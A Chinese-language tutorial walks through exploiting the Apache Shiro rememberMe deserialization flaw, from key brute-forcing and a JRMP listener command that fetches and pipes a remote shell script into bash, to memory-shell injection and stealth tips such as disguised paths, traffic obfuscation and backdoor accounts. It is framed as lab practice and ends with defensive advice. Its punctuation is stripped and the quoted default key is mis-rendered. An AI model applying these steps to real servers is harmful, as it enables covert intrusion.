Shiro反序列化漏洞实战:从JRMP探测到内存马注入的完整攻防演练

发布时间:2026/6/20 17:56:51

Shiro反序列化漏洞实战:从JRMP探测到内存马注入的完整攻防演练 1. 项目概述从标题看一次完整的Shiro漏洞攻防演练看到“Shiro_toolJRMP协议快速探测Shiro漏洞”这个标题很多搞安全测试和渗透的朋友应该会心一笑。这几乎是一个经典到不能再经典的场景了面对一个使用了Apache Shiro框架的Web应用如何快速判断它是否存在那个著名的反序列化漏洞CVE-2016-4437等并进一步利用JRMP协议进行漏洞验证甚至在必要时植入内存马。这不仅仅是漏洞复现更是一套从信息收集到利用验证的完整实战流程。我处理过不少内网渗透和红队评估项目Shiro框架的漏洞因其影响广泛、利用链成熟一直是重点检查对象。这篇文章我就结合自己踩过的坑和总结的技巧把这个流程掰开揉碎了讲清楚目标是让你看完就能上手在授权测试中快速定位和验证Shiro的安全风险。简单来说这个过程可以拆解为三个核心环节首先是探测确认目标系统使用了Shiro且默认的加密密钥AES Key是否可被预测或泄露其次是利用通过构造特殊的序列化数据利用JRMP协议让目标服务器连接我们控制的恶意服务端从而执行命令最后是持久化在获取权限后如何通过注入内存马的方式在服务器不重启、不落盘的情况下维持访问。整个链条环环相扣工具Shiro_tool和协议JRMP是其中的关键“利器”。接下来我们就一步步深入。2. 核心原理与工具链拆解为什么是Shiro、JRMP和内存马在动手之前我们必须搞清楚背后的“为什么”。盲目操作不仅效率低遇到问题更会一头雾水。2.1 Apache Shiro框架与反序列化漏洞的根源Apache Shiro是一个强大且易用的Java安全框架提供身份认证、授权、加密和会话管理。它的会话管理有一个特点为了在集群等无状态环境中工作Shiro会将用户的会话Serializable对象序列化后使用AES加密再通过CookierememberMe返回给客户端。下次请求时客户端携带这个CookieShiro解密、反序列化后还原会话。漏洞就出在这里。关键在于AES加密的密钥Key。在早期版本中Shiro使用了一个硬编码在代码中的默认密钥kPHbIxk5D2deZiIxcaaaA。如果开发人员没有在配置文件中显式地修改这个密钥那么攻击者就可以使用这个默认密钥自己构造一个恶意的序列化对象加密后塞进rememberMeCookie发送给服务器。服务器会用默认密钥解密并毫无防备地进行反序列化操作。Java反序列化本身不是漏洞但它是一个危险的“入口”。当反序列化一个由攻击者精心构造的、包含特定“利用链”Gadget Chain的对象时就可能触发远程代码执行RCE。经典的利用链如CommonsCollectionsCC链就是利用Apache Commons Collections库中的一些类特性在反序列化过程中层层调用最终达到执行任意命令的目的。注意并非所有Shiro都有漏洞。漏洞存在的核心前提是1. 使用了默认或弱密钥2. 目标ClassPath中存在可用的反序列化利用链如commons-collections, commons-beanutils等。因此探测的第一步就是碰撞密钥和检测利用链。2.2 JRMP协议在漏洞利用中的角色直接通过rememberMeCookie发送一个完整的、包含命令执行代码的序列化载荷Payload行不行理论上可以但实际中常常因为Payload过大超过Cookie长度限制、或需要动态生成命令而受限。这时JRMPJava Remote Method Protocol就登场了。它是Java RMI远程方法调用底层使用的协议。在我们的利用场景中JRMP扮演了一个“二次引导”的角色。我们不再直接发送执行命令的Payload而是发送一个特殊的“诱导”Payload。这个Payload被反序列化后会指示受害服务器的Java环境去连接一个由我们控制的、恶意的RMI服务端即JRMP Listener。当受害服务器连接到我们的恶意RMI服务端时它会尝试从我们的服务端“拉取”fetch一个远程对象。此时我们的恶意服务端就可以将真正包含命令执行代码的序列化对象“推送”给受害者。受害者会在处理这个远程对象的过程中再次触发反序列化从而执行我们预设的命令。这样做的好处显而易见绕过长度限制初始的诱导Payload很小容易通过Cookie传递。动态性强命令可以在我们控制的JRMP Listener端动态生成和响应更加灵活。适应复杂环境在某些网络环境下这种“出站连接”的方式可能比直接接收复杂Payload更易成功。2.3 内存马无文件持久化驻留的利器通过上述步骤我们可能获得了一个命令执行窗口例如回显了一个whoami。但这往往是临时的与一次Web请求的生命周期绑定。要想获得一个稳定的、隐蔽的后门就需要“内存马”。内存马顾名思义是驻留在服务器内存中的Web后门。它不向磁盘写入任何文件而是通过Java的机制如动态注册Filter、Servlet、Controller、Interceptor等将恶意代码注入到正在运行的Web应用容器中。这样只要容器不重启我们就可以通过访问特定的URL路径随时触发恶意代码执行。在Shiro漏洞利用后注入内存马是一个很自然的后续操作。因为我们已经具备了执行任意Java代码的能力完全可以在目标应用的JVM中利用反射等机制动态地向当前Web容器如Tomcat、Spring注册一个恶意的Filter或Servlet。这个Filter会拦截所有请求根据请求中的特定参数执行命令并回显结果实现“无文件”的持久化控制。2.4 工具链Shiro_tool与相关生态“Shiro_tool”通常指代一系列用于检测和利用Shiro漏洞的开源工具例如shiro_attack、shiro-exploit等。它们一般集成了以下功能密钥爆破使用内置的常见密钥字典通过发送特制的Padding Oracle攻击包或有效的序列化数据包来碰撞出正确的AES密钥。利用链检测检测目标ClassPath中是否存在可用的反序列化利用链如CC1, CC2, CB1, CB2等。Payload生成与利用集成生成JRMP等不同协议Payload的功能并一键启动对应的监听器。内存马管理提供生成和注入常见类型内存马如Filter型、Servlet型、Spring Controller型的Payload并可能提供管理界面。在实战中我们往往会组合使用多个工具。例如用一款工具进行快速探测和密钥爆破用另一款更专业的工具如ysoserial生成JRMP Payload再用Godzilla哥斯拉或Behinder冰蝎的客户端来连接注入的内存马。理解每个工具的核心用途比死记硬背某个工具的命令更重要。3. 实战环境准备与目标信息收集纸上谈兵终觉浅我们直接进入实战环节。首先你需要一个合法的测试环境。强烈建议使用Vulhub、DVWA等靶场环境进行学习切勿对未授权目标进行测试。3.1 测试环境搭建这里以Vulhub中的Shiro漏洞靶场为例这是最快捷的方式。# 1. 安装Docker和Docker-compose # 2. 下载Vulhub git clone https://github.com/vulhub/vulhub.git cd vulhub/shiro/CVE-2016-4437 # 3. 启动靶场 docker-compose up -d # 4. 查看靶场地址通常是 http://your-ip:8080启动后访问目标地址你会看到一个带有登录页面的Web应用。这就是我们的“假想敌”。3.2 基础信息收集与Shiro指纹识别在发起攻击前基础信息收集至关重要。手动识别ShiroCookie特征在浏览器中访问目标打开开发者工具F12查看Network标签。发送一个请求观察响应头或请求头中的Set-Cookie字段。如果存在一个名为rememberMe的Cookie值可能为deleteMe或一串加密字符那么目标很可能使用了Shiro。登录失败回显在登录页面输入错误密码提交观察回显信息。Shiro框架可能有特定的错误关键词如org.apache.shiro。路径探测尝试访问一些Shiro相关的默认路径或错误路径如/login.jsp等观察特征。使用工具进行指纹识别你可以使用Burp Suite的被动扫描或者使用whatweb、Wappalyzer等浏览器插件进行初步技术栈识别。专门的Shiro检测工具或脚本通常第一步就是发送一个特制的请求通过响应特征如状态码、返回包长度、rememberMeCookie的行为来判断。实操心得在实际的渗透测试中目标可能部署在反向代理如Nginx后面或者rememberMe功能被禁用导致特征不明显。此时需要结合端口扫描常见Java应用端口如8080, 8443, 7001、页面特征特定的JS库、错误样式进行综合判断。不要因为没看到rememberMeCookie就轻易放弃。4. 核心攻击流程详解探测、利用、注入假设我们已经初步判定目标使用了Shiro接下来进入核心环节。4.1 第一步使用Shiro_tool进行密钥与利用链爆破这里以一款集成的图形化工具shiro_attackv2.0及以上版本为例它集成了探测、利用、内存马注入等功能对新手比较友好。启动工具并配置目标运行工具在目标地址栏输入http://target-ip:port。其他参数如超时时间可以保持默认。开始检测点击“检测”或类似的按钮。工具会自动化执行以下步骤发送一个无害的序列化Payload验证目标是否处理rememberMeCookie。使用内置的密钥字典包含100多个常见密钥如默认密钥、网上泄露的密钥、常见弱密钥等进行爆破。其原理是发送一个使用特定密钥加密的、结构已知的序列化数据如果服务器解密成功并触发了反序列化可能产生特定错误或延迟则认为该密钥有效。在爆破出有效密钥后会进一步检测当前目标环境中可用的反序列化利用链如CC链、CB链等。它会依次尝试发送不同利用链的简单测试Payload例如执行一个ping命令到dnslog平台根据dnslog是否有回显来判断链是否可用。关键参数与过程解析密钥字典工具的准确性很大程度上依赖于密钥字典的完备性。你可以手动维护和扩充自己的密钥字典将项目中收集到的、网络上公开的密钥添加进去。DNSLog这是检测利用链是否可用的关键技术。工具会使用一个DNSLog平台如ceye.io或自建的dnslog.cnPayload中执行的命令是ping或nslookup一个由你指定的、唯一的子域名。如果目标存在漏洞并执行了命令就会向这个子域名发起DNS查询DNSLog平台就能记录到这次查询从而证明漏洞存在且命令可执行。操作在工具中配置你的DNSLog平台地址和Token工具会自动生成唯一的子域名并嵌入Payload。常见问题与排查问题工具一直显示“检测中”或“未检测到漏洞”。排查1检查网络连通性。确保你的攻击机可以访问目标服务器的IP和端口。排查2目标可能设置了严格的超时时间或拦截了异常请求。尝试调整工具的超时参数如从5秒调到10秒。排查3目标的Shiro版本可能较高修复了默认密钥问题且使用了强密钥。此时密钥爆破成功率极低。需要转向信息收集尝试从源码泄露如.git、配置文件泄露等途径获取密钥。排查4目标ClassPath中可能不存在任何常见的利用链如服务器仅使用了核心Shiro jar未引入commons-collections等库。这种情况下即使密钥正确也无法直接利用。需要寻找其他利用链如利用Tomcat EL处理器、JDK原生链等这对工具和攻击者的要求更高。问题检测到了密钥但所有利用链都显示不可用。排查这很常见。可能是目标环境没有相应的依赖库。此时可以尝试“回显”Payload。一些高级工具提供了“通用回显”Payload它不依赖特定的第三方库而是尝试利用Tomcat、Spring等Web容器本身的特性来输出命令执行结果到HTTP响应中。在工具中切换到“回显”模式再试。4.2 第二步利用JRMP协议进行命令执行当工具成功检测到有效的密钥和可用的利用链例如CommonsCollections2后我们就可以进行深入的利用。选择JRMP利用方式在shiro_attack的利用模块选择“JRMP”或类似的标签页。启动JRMP监听器在工具内部或外部你需要启动一个JRMP监听服务。shiro_attack通常集成了这个功能。你需要指定一个监听端口如1099。更底层的操作是使用ysoserial工具java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections2 “curl http://your-vps/shell.sh | bash”。这条命令会在1099端口启动监听并使用CC2链生成一个执行指定命令的Payload等待受害者连接。生成并发送JRMP Payload在工具的JRMP利用界面填写你的攻击机IP和JRMP监听端口如your-vps-ip:1099。选择对应的利用链需与JRMP监听器使用的链一致。点击“生成”或“攻击”。工具会使用之前爆破出的密钥加密一个特殊的“JRMP诱导”Payload并将其作为rememberMeCookie的值发送给目标服务器。接收连接并执行如果一切顺利目标服务器在反序列化这个Cookie后会向你的your-vps-ip:1099发起JRMP连接。你的JRMP监听器收到连接后会将之前准备好的、包含实际命令的序列化对象发送给目标。目标服务器在处理这个对象时再次触发反序列化最终执行你预设的命令例如反弹一个Shell或者下载并执行后续Payload。实操心得与避坑指南网络拓扑这是最容易出错的地方。你的攻击机运行JRMP Listener的机器必须能被目标服务器访问到。如果目标在内网你的攻击机也需要在内网或者你需要通过端口映射、反弹代理如frp,ngrok将你的JRMP监听端口暴露到公网。防火墙与杀软目标服务器的出站流量可能被防火墙限制无法连接到你的JRMP端口。常见的RMI端口1099, 1100等可能被拦截。可以尝试使用其他非常用端口如12345,54321。Java版本不同的利用链对Java版本有要求。例如CC2链在Java 8u76以下版本利用成功率较高。高版本Java可能由于安全机制如JEP 290导致利用失败。需要根据目标环境调整利用链或寻找绕过方法。命令构造在JRMP Listener中构造的命令要确保能在目标系统上执行。Linux和Windows的命令语法不同。可以通过id、whoami等简单命令先测试。4.3 第三步注入内存马实现持久化通过JRMP执行命令我们可能获得了一个临时Shell。但为了更稳定、更隐蔽地控制我们需要注入内存马。选择内存马类型在shiro_attack或类似工具中会有“内存马”模块。常见的类型有Filter型内存马最通用兼容性好。通过动态注册一个恶意Filter到Tomcat的FilterChain中拦截所有请求。Servlet型内存马动态注册一个Servlet到指定路径。Spring Controller型内存马针对Spring MVC框架动态注册一个Controller。Interceptor型内存马针对Spring框架动态注册一个拦截器。WebSocket型内存马更隐蔽但需要应用支持WebSocket。冰蝎/哥斯拉内存马直接生成与冰蝎、哥斯拉等Webshell管理工具兼容的内存马Payload注入后可直接用对应客户端连接。生成并注入内存马以Filter型内存马为例。在工具中选择该类型。你需要设置几个关键参数密码Pass连接内存马时使用的认证密码防止被他人意外访问。路径Path内存马绑定的URL路径例如/favicon或/health选择一个看起来正常、不易被怀疑的路径。注入方式工具通常提供“通过JRMP”或“通过命令执行”两种方式注入。因为我们上一步已经通过JRMP获得了命令执行能力这里可以选择“命令执行”方式。工具会生成一段很长的、经过Base64编码和特殊处理的Java代码或字节码。将生成的Payload通过我们已获得的命令执行通道比如用echo命令写入一个临时Java文件或用java -jar直接执行在目标JVM中运行。这段代码的核心逻辑是使用Java的Thread.currentThread().getContextClassLoader()获取当前Web应用的类加载器然后通过反射机制获取到Tomcat的ApplicationContext最终动态创建并注册一个实现了Filter接口的恶意类。连接与管理内存马注入成功后访问你设定的路径如http://target-ip:port/favicon并带上密码参数如?passyourpassword你应该能看到一个简单的命令执行界面或者返回特定的成功标识。如果注入的是冰蝎/哥斯拉内存马则可以直接使用对应的客户端填写URL、密码和密钥进行连接获得一个图形化、功能强大的Webshell。内存马注入的深度注意事项兼容性内存马严重依赖目标Web容器的具体实现Tomcat版本、Spring版本等。工具生成的Payload可能不适用于所有环境。注入失败时需要查看目标容器的错误日志或尝试其他类型的内存马。隐蔽性路径选择不要使用/shell,/cmd这种明显路径。可以伪装成静态资源路径、健康检查路径或API路径。流量特征冰蝎、哥斯拉等工具的流量有一定特征可能被WAF或IDS识别。可以考虑使用自定义的、加密的内存马或通过代理对流量进行混淆。进程排查内存马在进程列表中不可见但可以通过分析Java堆内存如使用jmap -histo查找可疑的类名或使用Arthas等Java诊断工具动态排查已加载的类。稳定性内存马的生命周期与Web应用绑定。一旦应用重启如Tomcat重启、服务器重启内存马就会消失。因此在获得持久化权限后应考虑结合其他持久化手段如写入计划任务、创建后门账户、部署持久化Webshell文件等作为冗余备份。5. 高级技巧、防御与拓展思考掌握了基本流程我们再来看看一些能提升效率和成功率的技巧以及如何从防御角度思考。5.1 高级利用技巧与绕过密钥的进一步获取源码泄露扫描.git,.svn,.DS_Store等目录尝试下载源码在配置文件如shiro.ini,application.yml中寻找密钥。配置文件泄露尝试访问/WEB-INF/classes/下的配置文件或Spring Boot的/actuator/env端点如果未授权访问可能直接暴露shiro相关的配置属性。Padding Oracle攻击对于某些Shiro版本即使密钥未知也可能通过Padding Oracle攻击模式来逐字节爆破出密钥。一些高级工具支持此模式。无利用链的利用回显利用 当没有CommonsCollections等“传统”利用链时可以尝试“通用回显”技术。其原理是利用Tomcat请求线程的Response对象或者Spring的RequestContextHolder将命令执行的结果直接写入HTTP响应中。shiro_attack等工具通常集成了几种回显Payload如TomcatEcho, SpringEcho可以逐个尝试。高版本Java绕过 Java 8u121以后引入了JEP 290等反序列化过滤器限制了RMI、LDAP等远程加载行为。针对JRMP利用可以尝试使用UnicastRef等绕过方式对应ysoserial中的JRMPClient2等Payload变种。寻找其他不受限制的利用链或结合本地ClassPath中的类进行利用即“不出网”利用。5.2 防御视角如何保护你的Shiro应用作为开发或运维人员了解攻击手段是为了更好地防御。及时升级将Apache Shiro升级到最新安全版本。官方早已修复了默认密钥问题并引入了更强的安全机制。使用强密钥在Shiro配置中务必使用自己生成的、足够复杂且保密的AES密钥。不要使用默认密钥或网上公开的密钥。# shiro.ini 示例 securityManager.rememberMeManager.cipherKey your_strong_base64_encoded_key_here控制依赖非必要不引入存在已知反序列化利用链的第三方库如老版本的commons-collections,commons-beanutils等。如果必须使用请升级到已修复漏洞的版本。启用反序列化过滤器在Java环境中配置全局的反序列化过滤器JEP 290只允许反序列化可信的类。WAF与RASP部署Web应用防火墙WAF可以拦截特征明显的攻击流量。运行时应用自我保护RASP能更深入地监控应用行为在反序列化等危险操作执行时进行中断和告警。最小权限原则运行Java应用的账户应具有最小必要权限降低被入侵后的影响范围。定期安全扫描使用SCA软件成分分析工具扫描项目依赖中的已知漏洞使用IAST交互式应用安全测试或漏洞扫描器对应用进行定期安全测试。5.3 工具链的延伸与自动化对于需要批量检测的场景可以编写脚本将流程自动化使用nmap或goby进行端口扫描和Shiro服务识别。使用命令行工具如shiro-exploit.py进行密钥爆破和漏洞检测输出结果到文件。对于确认存在漏洞的目标自动调用ysoserial生成Payload并发送。将整个流程集成到自动化扫描框架中。但切记自动化工具是一把双刃剑。它提高了效率也可能因Payload不稳定或判断逻辑不严谨对目标服务造成意外影响如DoS。在授权测试中也建议先在小范围或测试环境验证工具的稳定性。整个流程走下来从指纹识别到内存马驻留是一次对Java Web安全特别是反序列化漏洞的深刻实践。它不仅仅关乎几个工具的使用更涉及到对网络协议、Java机制、Web容器架构和攻防思维的深入理解。每一次实战遇到的不同环境都是对这套知识体系的检验和补充。保持学习谨慎测试才能真正掌握这项技能。

相关新闻